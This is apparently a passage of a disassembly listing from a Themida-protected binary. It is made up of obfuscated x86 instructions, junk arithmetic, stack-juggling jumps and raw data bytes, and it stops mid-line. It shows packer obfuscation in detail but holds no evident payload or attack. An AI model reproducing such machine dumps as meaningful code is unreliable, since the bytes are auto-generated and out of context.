Themida_:0055E630j mov [esp], ecx mov ecx, 6E3652A1h jmp loc_55E5D8 ; --------------------------------------------------------------------------- dw 0DEF7h dd 50E9DEF7h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_561777: ; CODE XREF: Themida_:005531C0j push 691h mov [esp], edx push edi mov edi, 6B7368D7h shr edi, 8 or edi, 2B6711FBh shl edi, 6 sub esp, 4 jmp loc_555C5B ; --------------------------------------------------------------------------- db 1, 0D0h, 2Dh dd 692732AEh, 8124148Bh, 4C4h, 0C8E95100h, 81FFFF35h, 4ECh dd 243C8900h, 284E24BFh, 88BB531Dh, 3174E26Bh, 0E7D15BDFh dd 0D9F7814Fh, 31E5135Dh, 5C3AE9FDh, 5704FFFFh, 0F5E95A66h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617DF: ; CODE XREF: Themida_:00563CA0j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp add edi, 45170AC1h add edi, edx push ebp jmp loc_55D35B ; --------------------------------------------------------------------------- db 80h dd 0E95169E3h, 0FFFF714Eh, 4240483h, 81240C8Bh, 4C4h, 4C18100h dd 83000000h, 0C3302C1h, 240C3124h, 8B240C33h, 9662424h dd 0E99C2404h, 0FFFEFCB3h, 4EC81h, 4890000h, 5E08924h dd 4, 8704C083h, 815C2404h, 0EE88C3C1h, 0E9CA01FDh, 0FFFFA892h dd 89242C89h, 4C581E5h, 81000000h, 4C5h, 25B1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561872: ; CODE XREF: Themida_:005613EDj not edx and edx, 52165F40h xor edx, 4A88ABF0h mov ebx, edx pop edx xor eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_564B51 ; --------------------------------------------------------------------------- loc_561891: ; CODE XREF: Themida_:0055336Ej sub ebp, 136C1736h mov esi, [esp] jmp loc_560B3F ; --------------------------------------------------------------------------- db 81h dd 0D93EB5C6h, 81DE017Ah, 0D93EB5EEh, 241C8B7Ah, 0FF27FFE9h dd 24048BFFh, 4C481h, 0EB810000h, 5AD15C21h, 0C381FB01h dd 5AD15C21h, 0FF2434FFh, 0E95F2434h, 302Ah ; --------------------------------------------------------------------------- loc_5618D8: ; CODE XREF: Themida_:00560FD7j add edx, 2 push 869h jmp loc_560A1F ; --------------------------------------------------------------------------- loc_5618E8: ; CODE XREF: Themida_:00556A3Fj sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_55215E ; --------------------------------------------------------------------------- db 81h dd 67FE64C2h, 0E9D689F8h, 0FFFF9233h, 5C243C87h, 83242489h dd 0E9042404h, 0FFFF9EA1h ; --------------------------------------------------------------------------- loc_561918: ; CODE XREF: Themida_:00564F0Cj mov esi, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55F7B8 ; --------------------------------------------------------------------------- loc_56192F: ; CODE XREF: Themida_:00557A54j mov [esp], ebp push esi push 1FF1310h pop esi mov ebp, 6A05418Fh add ebp, 22A51E01h add ebp, esi jmp loc_553EF6 ; --------------------------------------------------------------------------- db 0B9h dd 7021Dh, 0E11E06BBh, 59CB3150h, 0EBC1D3F7h, 1CEB8106h dd 816BDC3Bh, 0E02C71EBh, 4032E996h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56196E: ; CODE XREF: Themida_:00552128j add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esi, 3BDC2CBDh push eax mov eax, 308730C2h sub esi, 70210869h jmp loc_566461 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0FFEA52E9h db 0FFh ; --------------------------------------------------------------------------- loc_5619A9: ; CODE XREF: Themida_:00551854j add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_5647A1 ; --------------------------------------------------------------------------- loc_5619BA: ; CODE XREF: Themida_:00565FBEj or eax, edx pop edx sub eax, 1FDF7F4Eh shl eax, cl sub esp, 4 jmp loc_55EF6D ; --------------------------------------------------------------------------- loc_5619CC: ; CODE XREF: Themida_:00559F82j sub esi, eax pop eax push esi not dword ptr [esp] pop esi not esi xchg edi, esi jmp loc_558889 ; --------------------------------------------------------------------------- loc_5619DD: ; CODE XREF: Themida_:0055E59Cj add dword ptr [esp], 4BD325F5h pop edi sub edi, 4BD325F5h mov ebp, [esp] jmp loc_564154 ; --------------------------------------------------------------------------- loc_5619F3: ; CODE XREF: Themida_:00562EAAj shl edi, 7 add edi, 0FFFFFFFFh jmp loc_55DEC4 ; --------------------------------------------------------------------------- loc_5619FE: ; CODE XREF: Themida_:0055F2F5j xchg edx, ebx jmp loc_5667B8 ; --------------------------------------------------------------------------- byte_561A05 db 0ACh, 66h, 53h ; DATA XREF: Themida_:00551434o dd 1FDE9h, 66F12000h, 0E924148Bh, 0FFFF23ECh, 4C481h, 0F2810000h dd 93792B6h, 518E9h, 145E6800h, 0C890000h, 0FAB5E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561A36: ; CODE XREF: Themida_:0055935Aj mov [esp], eax mov eax, 6F16FDFh and eax, 66D1843h and eax, 1D0A6BDFh add eax, 25320558h push esi mov esi, 1AF63C58h push esi not dword ptr [esp] pop esi sub esi, 951D4A52h or eax, esi pop esi push ecx push esi jmp loc_564461 ; --------------------------------------------------------------------------- dd 68243489h, 34D660CAh, 0FFF0015Eh, 525E2434h, 0C281E289h dd 4, 4C281h, 14870000h, 99685C24h, 89000011h, 0B0E9242Ch dd 81FFFF6Fh, 4C4h, 5EF2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561AA2: ; CODE XREF: Themida_:0055FB29j xor ebp, ecx jmp loc_55C115 ; --------------------------------------------------------------------------- db 1, 0F8h, 0E9h dd 0FFFF63DAh, 17D1BA52h, 0C2817F37h, 2637546Dh, 353CBE56h dd 814E1F04h, 0D741DCCEh, 7EF6816Ch, 21364255h, 75E9E9F2h dd 815DFFFFh, 3D50B7EAh, 81C20109h, 3D50B7C2h, 0B6E95809h dd 5FFFFFFEh, 3F281h, 0EAE90045h db 50h, 2 dup(0) byte_561AF7 db 0ACh ; DATA XREF: Themida_:005512E8o dd 54EE9h, 7091B900h, 0CA214724h, 0FFE28159h, 0C15C9008h dd 814206EAh, 7D1CFBC2h, 5AD68926h, 4402E9h, 4C78100h dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 83685A54h, 8900005Bh dd 2068240Ch, 0E91F1571h, 0FFFF8B1Eh, 739768h, 240C8900h dd 60540CB9h, 59CB2916h, 24148B66h, 8904EC83h, 0B682434h dd 8900001Ah, 4812424h, 424h, 24348B00h, 4EC8156h, 89000000h dd 0D0E92424h, 1FFFFC2h, 7B1DE9D1h, 5E54FFFFh, 61A1BB53h dd 0E3817F35h, 453A2BE8h, 0FF2E49E9h, 243489FFh, 2F4B39BEh dd 6EF6812Fh, 922E16Fh, 24348BF2h, 4C481h, 81420000h, 9051AFE2h dd 51D2F729h, 7FAFFDB9h, 666AE9F6h, 1C33FFFFh, 241C3124h dd 8B241C33h, 48F2424h, 24248B24h, 0FEF90EE9h, 5DE989FFh dd 2414F751h, 66F18159h, 18AFBC3h, 51E959CFh, 81FFFFA4h dd 1434B4C7h, 0E0F7814Dh, 81C224E8h, 1E6407EAh, 0C40E934h dd 0EEB7FFFFh, 0F800CD04h, 9EE9CD2Ch db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C17: ; CODE XREF: Themida_:0055ECA3j pop esi inc esi add esi, 6E0C5D00h add esi, 0E543109Ch mov eax, esi mov esi, [esp] jmp loc_5541CB ; --------------------------------------------------------------------------- db 0C1h dd 0EB8107E3h, 2C5CFBFCh, 815BDE29h, 4ECh, 24348900h, 0FFF11DE9h db 0FFh ; --------------------------------------------------------------------------- loc_561C49: ; CODE XREF: Themida_:0056425Aj push dword ptr [esp+4] pop ebp jmp loc_55D40C ; --------------------------------------------------------------------------- db 0B3h dd 4E24E9C8h, 4401FFFFh, 48B0824h, 4C48124h, 81000000h dd 6B042444h, 290DED18h, 81042444h, 6B04246Ch, 810DED18h dd 4804246Ch, 0E91B3B09h, 0FFFFABCDh, 0E9243C8Bh, 413Bh ; --------------------------------------------------------------------------- loc_561C90: ; CODE XREF: Themida_:00552034j add ecx, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_562BF7 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 0F7h dd 0BEBA52D5h, 0E9125403h, 0FFFFB6F0h ; --------------------------------------------------------------------------- loc_561CB8: ; CODE XREF: Themida_:0055BCADj sub esp, 4 mov [esp], eax mov eax, 22D14FB8h add ecx, eax pop eax add ecx, 2D9636B7h shl ecx, 3 xor ecx, 4DE9830Ah shl ecx, 5 add ecx, 8C11EAC4h sub eax, 7231290Bh add eax, ecx add eax, 7231290Bh pop ecx push esi mov esi, 4 jmp loc_564EF2 ; --------------------------------------------------------------------------- dw 4E68h dd 0E9000066h, 0FFFF0FDBh, 3DB6525Bh, 0E95AF400h, 0FFFFC499h dd 55515B54h, 0DA6144BDh, 0F6C58175h, 57D169AFh, 0F989EF89h dd 0CF39E95Fh, 2C87FFFFh, 240C8B24h, 8104C483h, 20E95E1h dd 0C2B85033h, 50EC279h, 6D34C8C8h, 0BBE9C131h db 0FCh, 0FEh, 0FFh byte_561D47 db 66h ; DATA XREF: Themida_:005513B4o dd 6824048Bh, 2952h, 0E9240C89h, 28D2h ; --------------------------------------------------------------------------- loc_561D58: ; CODE XREF: Themida_:0055B52Dj push eax mov ah, 0B0h sub ah, 0DAh dec ah push edx mov dh, 1 sub ah, dh pop edx push 4945h mov [esp], eax xchg cl, [esp+1] not cl xchg cl, [esp+1] pop eax not ah inc ah jmp loc_56097D ; --------------------------------------------------------------------------- dw 8568h dd 0E9000032h, 0FFFF69B1h, 0FDB2E95Ah, 6EBAFFFFh, 425F4400h dd 0E2C1DAF7h, 0DAA7E906h, 74FFFFFFh, 1C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] jmp loc_55F6A6 ; --------------------------------------------------------------------------- dword_561DC4 dd 24048B66h, 8904EC83h, 0E9532414h, 0FFFFD6D2h, 95F62D48h ; DATA XREF: Themida_:005512B4o dd 0C231E85Ch, 0FF6E23E9h, 0FEA80FFh, 536EC280h, 0CBFE58B3h dd 0D3F6CBFEh, 805BCB80h, 0DA00E0F3h, 83241C8Bh, 0EB8004C4h dd 23E6E976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E06: ; CODE XREF: Themida_:00552165j add eax, ebx pop ebx sub eax, 4 jmp loc_5652D9 ; --------------------------------------------------------------------------- loc_561E13: ; CODE XREF: Themida_:0055EFE7j push 45F1h mov [esp], ebx mov ebx, 7E540A0Eh xor ebx, 82DE967Eh add edx, ebx pop ebx add ecx, edx jmp loc_5624BE ; --------------------------------------------------------------------------- dd 0F1628BBEh, 6FF68159h, 0F7254452h, 0B6F681D6h, 831D827Ah dd 0E7E901EEh, 5B000005h, 5C24048Fh, 0FF0B59E9h, 746856FFh dd 5E353A02h, 0FF67A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_561E61: ; CODE XREF: Themida_:00554459j mov edx, esp push ebx loc_561E64: ; DATA XREF: Themida_:005666F0o mov ebx, 2D1A629Ch jmp loc_552F84 ; --------------------------------------------------------------------------- dw 0FF57h dd 5F042474h, 8B24048Fh, 89662424h, 96E9240Ch, 89FFFFC6h dd 74FF242Ch, 8F5D0424h, 248B2404h, 2434FF24h, 8B2434FFh dd 0B4E92404h, 81FFFF66h, 0CC43FCF1h, 0ECE8E930h, 0C681FFFFh dd 4, 5C243487h, 8B24048Fh, 0F7662424h, 0E38953E1h, 16D9BA52h dd 0B9E96702h db 87h, 2 dup(0FFh) byte_561ECB db 66h ; DATA XREF: Themida_:00551474o dd 6824048Bh, 4258h, 0FEF9C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_561ED9: ; CODE XREF: Themida_:00555A0Bj pop dword ptr [esp] pop esp shr eax, 2 shl eax, 3 inc eax push 2A0Dh mov [esp], ebp mov ebp, 7D216939h jmp loc_55E89E ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF4BD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_561F01: ; CODE XREF: Themida_:00563854j pop esp add eax, 56B6041Ah add eax, edi sub eax, 56B6041Ah mov edi, [esp] jmp loc_552106 ; --------------------------------------------------------------------------- dw 575Ah dd 4EC81h, 0C890000h, 44B4B924h, 0B0BF013Ah, 31013A44h dd 0FA0159CFh, 2874E9h, 0F5814500h, 110104A0h, 3735E9h dd 0FF52D00h, 3D05550Bh, 2947FA26h, 263D2DD0h, 0B95147FAh dd 13D455ACh, 0E957D1F7h, 0FFFFB0AAh, 4C681h, 34870000h dd 2C335C24h, 242C3124h, 5C242C33h, 0FFDD64E9h, 1B55BBFFh dd 5DE96A78h, 25FFFF7Ah, 0B3C09E8h, 0FF1412E9h, 8BC529FFh dd 89572404h, 4C781E7h, 83000000h, 3C8704C7h, 0F5E95C24h dd 89FFFEFBh, 2BF243Ch, 1000000h, 4335FF8h, 24043124h dd 5C240433h, 0FF5174E9h db 0FFh ; --------------------------------------------------------------------------- loc_561FC1: ; CODE XREF: Themida_:0055F367j push ebp push edi mov edi, 793959E8h sub edi, 2D0F3708h jmp loc_556877 ; --------------------------------------------------------------------------- loc_561FD3: ; CODE XREF: Themida_:00551D52j sub esi, eax pop eax jmp loc_553E2B ; --------------------------------------------------------------------------- loc_561FDB: ; CODE XREF: Themida_:0055EA7Ej pop ebx neg edx jmp loc_563C37 ; --------------------------------------------------------------------------- db 1 dd 9BCEE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FEA: ; CODE XREF: Themida_:0056418Fj sub ebx, 5E2D38DBh pop esi mov edi, ebx pop ebx mov ebx, edi pop edi mov edi, 0A7A3C4B3h add edi, ebx jmp loc_55E81D ; --------------------------------------------------------------------------- loc_562003: ; CODE XREF: Themida_:0055568Aj sub al, dh jmp loc_55B52A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFDB2EE9h, 48153FFh, 351B624h, 0EF815F52h, 520351B6h dd 13EFE95Bh, 0F000FFFFh, 0FF58CEE9h db 0FFh byte_562031 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00551274o dd 8124048Bh, 4C4h, 59545100h, 4C181h, 0D5E90000h, 66FFFFCDh dd 0EDAEE952h, 0C181FFFFh, 4, 0E904E983h, 0FFFFECA3h, 0B7AE981h dd 0C1813A56h, 1EA44D5Ch, 0BE5631FFh, 5AC1307Ah, 4244481h dd 1C0C3589h, 4247429h, 0FF0817E9h, 4C683FFh, 5C243487h dd 0FFC87AE9h db 0FFh ; --------------------------------------------------------------------------- loc_562091: ; CODE XREF: Themida_:00563C29j pop esp jmp loc_55205F ; --------------------------------------------------------------------------- loc_562097: ; CODE XREF: Themida_:00553F42j xor eax, [esp] xor [esp], eax jmp loc_5665EE ; --------------------------------------------------------------------------- dw 159h dd 2434FFE8h, 5D2434FFh, 4C481h, 81E90000h, 87FFFF00h dd 248B2434h, 4D36624h, 24E99C24h, 0C1FFFEF4h, 0EE8106EEh dd 0F9458C99h, 315EF289h, 24148BD6h, 2D04C483h, 2E14662Ah dd 0E957F029h, 0FFFF7455h, 8B73E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5620EE: ; CODE XREF: Themida_:005542F0j push edi mov edi, 0F2854E07h jmp loc_562DA4 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FFBDDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_562101: ; CODE XREF: Themida_:0055DC56j mov ebx, 4 add eax, ebx jmp loc_55E75A ; --------------------------------------------------------------------------- db 81h, 0C1h, 2Bh dd 11F1D3Ch, 0B0BA52C1h, 0C1681E7Eh, 0EA8105EAh, 9AC4970h dd 6D08C281h, 0DAF76DEEh, 0ED5BD55h, 8DE96B5Fh db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_562137: ; CODE XREF: Themida_:00553FDDj sub eax, edx pop edx push eax push esi push ecx push edi push 67346788h pop edi sub edi, 3D106770h mov ecx, edi pop edi shr ecx, 6 sub ecx, 2ACD75CCh push esi mov esi, 0E03030Dh sub ecx, esi pop esi shr ecx, 6 jmp loc_5528FF ; --------------------------------------------------------------------------- loc_562167: ; CODE XREF: Themida_:00558308j xor dword ptr [esp], 211E779Dh pop ebp xor ebp, 211E779Dh jmp loc_560A6F ; --------------------------------------------------------------------------- aTi db 0Dh,'оt╗',0 db 0F7h dd 7CD405D0h, 4BE958FEh db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56218B: ; CODE XREF: Themida_:0055BCE2j xor [esp], ecx jmp loc_563617 ; --------------------------------------------------------------------------- db 2Dh dd 59BF2126h, 0EC815A59h, 4, 0BD242C89h, 35932011h, 511F581h dd 0E94D0639h, 0FFFF77BEh ; --------------------------------------------------------------------------- loc_5621B4: ; CODE XREF: Themida_:00552ADFj mov eax, [esp] add esp, 4 push eax push edx mov edx, 0FFFFFFFFh sub [esp+4], edx jmp loc_564792 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0AEh dd 81206551h, 1E6407C2h, 2434FF34h, 0E9243C8Bh, 0FFFF51DAh ; --------------------------------------------------------------------------- loc_5621E4: ; CODE XREF: Themida_:0055B3D1j sub edi, ebx sub edi, 2DA225DEh jmp loc_560BBC ; --------------------------------------------------------------------------- db 58h, 66h, 31h dd 665A66D0h, 0B70FC331h, 0EF6866C0h, 4896647h, 0F2E1E924h dd 0DE30FFFEh, 84EE805Bh, 0E936EE80h, 0FFFFF7F5h, 4EC8352h dd 0E9241C89h, 0FFFF5E96h, 295AD389h, 241C8BD8h, 504C483h dd 699F2CDCh, 0DC2DF829h, 5699F2Ch, 4F3B4F0Bh, 8B2434FFh dd 0C481243Ch, 4, 81E78957h, 4C7h, 4C78100h, 87000000h dd 815C243Ch, 8A2B3DC3h, 50C3013Ch, 175ABE56h, 58564E46h dd 9CA0D5Eh, 0D8F719CFh, 3664E9h db 0 ; --------------------------------------------------------------------------- loc_56227D: ; CODE XREF: Themida_:0055EC8Dj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push edx jmp loc_5557D9 ; --------------------------------------------------------------------------- dd 0FEBAE953h, 8B5AFFFEh, 0C4832404h, 0BDC38004h, 0EB80C328h dd 2EC81BDh, 66000000h, 0E9240489h, 0FFFFC3D8h, 5024148Bh dd 405E089h, 0E9000000h, 0FFFFD8BBh ; --------------------------------------------------------------------------- loc_5622C0: ; CODE XREF: Themida_:005517C0j add esi, ebx jmp loc_564C45 ; --------------------------------------------------------------------------- db 1 dd 0A54BE9C7h, 3489FFFFh, 86DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5622D6: ; CODE XREF: Themida_:0055FBB8j or eax, 19987CF7h sub eax, 0E230AF8Ch sub esi, eax pop eax add esi, 85A4E35Dh neg esi jmp loc_5569C2 ; --------------------------------------------------------------------------- dd 0B8240489h, 4, 4246C81h, 2CE00770h, 0FF5116E9h db 0FFh byte_562305 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005513FCo aShul db '$Sh·l',0 dw 8900h dd 4832424h, 1C8B0424h, 4C48324h, 0FFD260E9h db 0FFh ; --------------------------------------------------------------------------- loc_562321: ; CODE XREF: Themida_:0055647Ej xor esi, ebx pop ebx add ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] idiv cx push ebp mov ebp, esp add ebp, 4 jmp loc_5604A5 ; --------------------------------------------------------------------------- loc_562344: ; CODE XREF: Themida_:0055A14Dj pop ebx add eax, 701A568Ch sub eax, ecx sub eax, 701A568Ch add eax, 3ACF1BCFh pop ecx jmp loc_5531BF ; --------------------------------------------------------------------------- dd 0DBB7535Bh, 0EFC0CFFEh, 0AAEF8003h, 806AEF80h, 0FA2025C7h dd 0F652665Bh, 8B66241Ch, 0C4812414h, 2, 306FEA80h, 2434FFD0h dd 4C4815Ah, 52000000h, 45A5E9h, 73A1BE00h, 81467EF0h dd 0E9760DC6h, 3E6C117h, 0EE81D6F7h, 0D1533CE6h, 0FF0864E9h db 0FFh ; --------------------------------------------------------------------------- loc_5623B1: ; CODE XREF: Themida_:00551653j mov bl, al mov eax, [esp] add esp, 4 jmp loc_565CAC ; --------------------------------------------------------------------------- db 5Bh, 57h, 89h dd 4C781E7h, 0E9000000h, 0FFFFC45Ch, 0A6D36BFh, 65BA5229h dd 211D184Ah, 0F6E95AD7h db 1Fh, 2 dup(0FFh) byte_5623E3 db 30h ; DATA XREF: Themida_:00551470o dd 24322424h, 24243024h, 21876866h, 24048966h, 815E5456h dd 4C6h, 4EE8100h, 0E9000000h, 0FFFFAB5Dh ; --------------------------------------------------------------------------- loc_562408: ; CODE XREF: Themida_:0055E1D1j push 41C8h mov [esp], ecx push ebp mov ebp, 487C04F2h mov ecx, 7B5951B4h xor ecx, ebp pop ebp add ecx, 1A470140h dec ecx neg ecx add ecx, 0A00F5D84h jmp loc_559969 ; --------------------------------------------------------------------------- dw 0C681h dd 0ECD231A0h, 0E95EF201h, 2395h ; --------------------------------------------------------------------------- loc_562440: ; CODE XREF: Themida_:00556EADj xor ecx, 636A278Eh mov edx, ecx pop ecx xor edx, 0D56CE0DFh push ebp mov ebp, 7FB87D94h sub esi, 466771D9h add esi, ebp push edi mov edi, 466771D9h add esi, 161230D0h add esi, edi sub esi, 161230D0h jmp loc_555136 ; --------------------------------------------------------------------------- loc_562476: ; CODE XREF: Themida_:00553C31j add dword ptr [esp], 4 jmp loc_563702 ; --------------------------------------------------------------------------- aWsI db 'WИ:I',0 align 4 dd 8147EFD1h, 0D7410AF7h, 5FF88945h, 0FEF477E9h, 48B54FFh dd 4C48124h, 0E9000000h, 0FFFF983Fh, 52C6F181h, 0E9816B58h dd 94B8F9BCh, 3159CA31h, 6F71E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5624BE: ; CODE XREF: Themida_:00561E2Bj pop edx jmp loc_5591DC ; --------------------------------------------------------------------------- dd 1268CD81h, 0CD8129D1h, 5BFB68CAh, 0B6C5C581h, 0EA01C8B5h dd 0CEA815Dh, 29BE14E2h, 0BA525AD1h, 26062E58h, 0D09E981h dd 0D1293551h, 0D09C181h, 585A3551h, 4C181h, 39680000h dd 8900004Ch, 90E9240Ch, 5CFFFFD0h, 0E9AAB151h, 0FFFFD25Ch dd 668515Ah, 8900001Bh, 71E9241Ch, 0BB000033h, 63E0099h dd 69E9DD29h, 58000022h, 0D15DEF89h, 40F781E7h, 811D3011h dd 0EC17C4EFh, 2F13E949h, 0EC83FFFFh, 0A634E904h, 3C8BFFFFh dd 4C48124h, 81000000h, 0EB66EBE9h, 370EE906h, 0EF01FFFFh dd 72C7815Dh, 0E9B2CE06h, 3A1h, 8B243487h, 0E9C32424h dd 0FFFEEF6Fh, 4EC81h, 14890000h, 81E28924h, 4C2h, 4C28100h dd 87000000h, 0E95C2414h, 0FFFFB5CAh, 4BAh, 5AD00100h dd 42Dh, 37F0E900h, 34FF0000h, 2434FF24h, 53240C8Bh, 0C381E389h dd 4, 8704C383h, 685C241Ch, 5DBh, 89241489h, 2C52E9E2h db 2 dup(0) word_5625D6 dw 34FFh ; DATA XREF: Themida_:00551288o dd 0EC835824h, 242C8904h, 4EC81h, 8F540000h, 4812404h dd 424h, 0F0E95D00h, 33FFFEF8h, 9CE92404h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625FF: ; CODE XREF: Themida_:0055B168j mov ecx, 772A3F12h or ebx, ecx jmp loc_5666CA ; --------------------------------------------------------------------------- db 89h dd 5E68241Ch, 57000020h, 0C781E789h, 4, 4EF81h, 0E1E90000h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562627: ; CODE XREF: Themida_:00551EECj add ebp, 4 jmp loc_55FD6D ; --------------------------------------------------------------------------- aQsi db ')ОИi)',0 db 0 ; --------------------------------------------------------------------------- loc_562639: ; CODE XREF: Themida_:005598F3j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_553C17 ; --------------------------------------------------------------------------- loc_562651: ; CODE XREF: Themida_:0055E21Dj pop esp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55EECA ; --------------------------------------------------------------------------- dd 84E9C231h, 80FFFEEEh, 0ED8001EDh, 28B62C34h, 59B604E8h dd 0A0E9D828h, 54000028h, 81243C8Bh, 4C4h, 0A7B95100h dd 493B2311h, 411EC181h, 0F18123E8h, 5F0B52C0h, 8359CF01h dd 0DDE904EFh, 5FFFFFE5h, 4B31BA52h, 0F281393Ah, 7CA87F47h dd 0BB53E2D1h, 0 dd 0E7E9D329h, 0C1FFFFE6h, 0EA8105E2h, 7DE32813h, 0FFE33BE9h dd 0BF6657FFh, 81660BC7h, 661D18CFh, 4F8E781h, 0FFEF8366h dd 2E7C166h, 66DFF766h, 2E1AC781h, 448A0566h, 66F80166h dd 8B448A2Dh, 0C483243Ch, 0BE665604h, 81664B24h, 0E90823CEh dd 407Eh ; --------------------------------------------------------------------------- loc_56270C: ; CODE XREF: Themida_:00560BD8j push eax xor [esp], ebx xor ebx, [esp] xor [esp], ebx not ebx jmp loc_559115 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 0BA520000h, 45F05973h, 0EA81DAF7h, 7B3F6F12h dd 3F5AF281h, 0EA815AD1h, 7F4410D9h, 8BCC281h, 0D3011B43h dd 4EC835Ah, 52243C89h, 6212F968h, 24148B60h, 81E38953h dd 4C3h, 0DDECE900h, 2BEFFFFh, 81000000h, 0C0788C3h, 81F30156h dd 0C0788EBh, 59BDE956h, 0E950FFFFh, 0FFFF3B2Dh, 5741E950h dd 6CB8FFFFh, 2D1AF010h, 1C36471Bh, 0FFE8FEE9h, 24248BFFh dd 22D8E9h db 0 ; --------------------------------------------------------------------------- loc_5627A1: ; CODE XREF: Themida_:005596DCj sub edi, ebp mov ebp, [esp] add esp, 4 add ebx, edi pop edi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55ACB7 ; --------------------------------------------------------------------------- dd 2744E95Eh, 0F480FFFFh, 0C0DCF6ABh, 0F48606ECh, 0F486C6FEh dd 0E4C0C4FEh, 93EC8008h, 88E58851h, 5859EFh, 1C8B66F8h dd 0E6895624h, 4C681h, 0C1E90000h, 8F00003Dh, 248B2404h dd 0C8B6624h, 1F896824h, 7E90000h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56280B: ; CODE XREF: Themida_:00557886j sub edi, 51DF7542h jmp loc_55B3CB ; --------------------------------------------------------------------------- dw 248Bh dd 0ECCDE924h, 0CA89FFFEh, 8B5AD589h, 0C481240Ch, 4, 0E907EDC1h dd 0FFFF25C3h ; --------------------------------------------------------------------------- loc_562834: ; CODE XREF: Themida_:00560BCBj add esp, 4 push ecx mov ecx, esp add ecx, 4 push 1F4Fh jmp loc_551881 ; --------------------------------------------------------------------------- loc_56284D: ; CODE XREF: Themida_:005545D9j mov [esp], ebp not dword ptr [esp] mov ebp, [esp] add esp, 4 xor ebp, 1CDCD5FFh jmp loc_559391 ; --------------------------------------------------------------------------- dd 0C681FE01h, 6C3F2C83h, 0FFC125E9h db 0FFh ; --------------------------------------------------------------------------- loc_562871: ; CODE XREF: Themida_:0055EB41j push 2F8Eh mov [esp], edi push 0FFFFFFFFh push dword ptr [esp] pop edi push edi push esp jmp loc_55739A ; --------------------------------------------------------------------------- db 55h, 0E9h, 0C7h dd 5FFFFFA1h, 4EC81h, 0C890000h, 2EA0E924h, 0DD300000h dd 0ED39E95Bh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5628A6: ; CODE XREF: Themida_:005635EEj shr edx, 8 dec edx push edi mov edi, 621439AAh push edi jmp loc_556520 ; --------------------------------------------------------------------------- loc_5628B6: ; CODE XREF: Themida_:0056624Dj mov ebx, 2 jmp loc_56314F ; --------------------------------------------------------------------------- dd offset dword_59EE88 dd 0F0285AF0h, 148B372Ch, 4C48324h, 0FF9E7BE9h, 242489FFh dd 4240483h, 5124048Fh, 4B9h, 24448100h, 5D586E04h, 244C012Ah dd 6EBD5504h, 0E92A5D58h, 0FFFF1260h, 4EEEE945h, 0EC81FFFFh dd 4, 54240C89h, 432EE9h, 8BF90900h, 0C483243Ch, 4EC8304h dd 0BA241489h, 799611Bh, 815AD121h, 0E69FE9C1h, 0CF8957F9h dd 595FF889h, 34FFC301h, 0C4815824h, 4, 0CEAE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562946: ; CODE XREF: Themida_:00554393j pop esi add ebx, 4 xchg ebx, [esp] mov esp, [esp] push edi mov edi, 155B6C62h sub ebp, edi pop edi and eax, ebp jmp loc_559F64 ; --------------------------------------------------------------------------- db 5Ch dd 8FC3E954h, 7CE9FFFFh, 81FFFEEBh, 7D6830C1h, 0D8C1813Ch dd 8B4DC90Eh, 0C481241Ch, 4, 10E9C181h, 0C101780Eh, 3FA2BE56h dd 90E97230h, 31FFFF2Fh, 0F8E95FFDh db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_56299F: ; CODE XREF: Themida_:0055417Cj push edx jmp loc_55C457 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FF65AAE9h, 49E952FFh, 0F7FFFFA2h, 6CE951D7h, 81000014h dd 4ECh, 358FE900h, 0CDFEFFFFh, 0FFBC87E9h, 